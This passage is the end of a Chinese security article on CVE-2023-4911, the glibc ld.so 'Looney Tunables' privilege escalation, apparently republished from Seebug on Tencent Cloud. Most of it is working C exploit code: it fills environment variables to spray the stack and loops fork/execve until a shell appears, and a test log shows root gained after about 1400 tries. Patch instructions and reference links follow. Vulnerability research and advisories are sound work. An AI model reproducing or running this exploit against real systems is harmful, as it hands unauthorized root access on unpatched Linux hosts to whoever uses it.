    }
    stack_spray[STACK_SIZE - 1] = '\0';



        for (int i = 2; i < ENVP_SIZE-1; i++)
    {
        envp[i] = "";
    }
    envp[0] = fill1;
    envp[1] = payload;
        // envp[0] = "";
        // envp[1] = "";
    envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F";

    for (int i = 0; i < 0x2F; i++)
    {
        envp[0x200 + i] = stack_spray;
    }
        envp[0x1FE] = padding;
    envp[0x23F] = "AAAA";
    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
        if (setrlimit(RLIMIT_STACK, &rlim) < 0)
        {
            perror("setrlimit");
        }

    int pid;
    for (int ct = 1;; ct++)
    {
        if (ct % 100 == 0)
        {
            printf("try %d\n", ct);
        }
        if ((pid = fork()) < 0)
        {
            perror("fork");
            break;
        }
        else if (pid == 0) // child
        {
            if (execve(nargv[0], nargv, envp) < 0)
            {
                perror("execve");
                break;
            }
        }
        else // parent
        {
            int wstatus;
            int64_t st, en;
            st = time_us();
            wait(&wstatus);
            en = time_us();
            if (!WIFSIGNALED(wstatus) && en - st > 1000000)
            {
                // probably returning from shell :)
                break;
            }
        }
    }

    // execve(nargv[0], nargv, envp);

    return 0;
}

测试情况如下:

代码语言:javascript
复制
$ ./myexp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
# id
uid=0(root) gid=0(root)

7. 修复方案

参考资料

各大系统都对该漏洞发布了更新补丁,比如ubuntu系统,可以使用如下命令对 glibc 进行更新:

代码语言:javascript
复制
# apt-get update
# apt-get upgrade libc6

8. 参考文档

参考资料

  1. https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
  2. https://haxx.in/files/gnu-acme.py
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-12-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档